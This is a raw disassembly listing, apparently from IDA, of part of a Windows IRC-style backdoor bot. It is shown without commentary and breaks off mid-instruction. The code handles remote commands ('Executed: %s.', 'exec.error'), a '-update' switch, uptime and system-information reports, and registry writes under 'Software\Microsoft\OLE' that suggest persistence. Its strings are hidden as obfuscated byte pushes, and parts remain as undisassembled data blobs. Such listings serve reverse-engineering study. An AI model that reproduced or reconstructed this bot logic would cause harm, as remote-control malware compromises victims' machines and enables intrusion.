[esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F70 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2930000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3EAD82E8h dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 3EABDDE8h, 548D9002h, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 0E850FFFFh, 23EAC43h, 6A006A90h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh dd 23EAA96h, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh dd 3EAAFEE8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23EA956h, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 3EA9B2E8h, 6A9002h, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 7E89050h, 8D023EA8h, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 0A871E890h, 6A023Eh, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 0A6C8E850h, 8D90023Eh, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj call near ptr 27F06DAh nop mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F70 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 27F06DAh mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2820000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call near ptr 2810000h nop mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call sub_5EFFD5 nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 28010A7h lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax nop call near ptr 2910D3Fh mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte ptr [ebx+9], 1 jmp 